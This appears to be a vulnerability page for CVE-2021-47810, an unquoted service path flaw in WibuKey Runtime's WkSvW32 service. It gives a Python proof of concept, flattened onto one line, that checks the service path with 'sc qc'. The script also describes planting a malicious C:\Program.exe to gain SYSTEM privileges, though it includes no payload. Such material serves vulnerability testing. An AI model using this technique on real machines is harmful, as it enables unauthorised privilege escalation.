CVE-2021-47810 WibuKey Runtime WkSvW32.exe未引用服务路径权限提升漏洞

#!/usr/bin/env python3 """ CVE-2021-47810 PoC - WibuKey Runtime WkSvW32.exe Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in WibuKey Runtime. Note: This is for educational and authorized testing purposes only. """ import os import sys import subprocess import shutil def check_vulnerability(): """Check if WibuKey service is installed and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'WkSvW32'], capture_output=True, text=True ) if 'WkSvW32' in result.stdout: # Check for unquoted path with spaces if 'BINARY_PATH_NAME' in result.stdout: for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() if ':' in line else line.strip() print(f"[+] Service path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Unquoted path with spaces detected!") return True else: print("[-] Service path appears to be properly quoted") return False else: print("[-] WkSvW32 service not found") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def exploit(): """ Exploitation steps (for authorized testing only): 1. Create malicious executable at C:\Program.exe 2. Wait for service restart or trigger service stop/start 3. Malicious code executes with service privileges """ malicious_path = r"C:\Program.exe" # For demonstration, create a simple reverse shell or payload # This should be replaced with actual malicious code in real attack print(f"[*] In a real attack, malicious code would be placed at: {malicious_path}") print("[*] When WkSvW32 service starts, it would execute the malicious Program.exe") print("[*] The malicious code would run with SYSTEM privileges") if __name__ == "__main__": print("=" * 60) print("CVE-2021-47810 - WibuKey Runtime Unquoted Service Path PoC") print("=" * 60) if os.name == 'nt': is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[*] Vulnerability confirmed!") # Uncomment below line for authorized testing only: # exploit() else: print("\n[-] Target system does not appear to be vulnerable") else: print("[-] This PoC only works on Windows systems")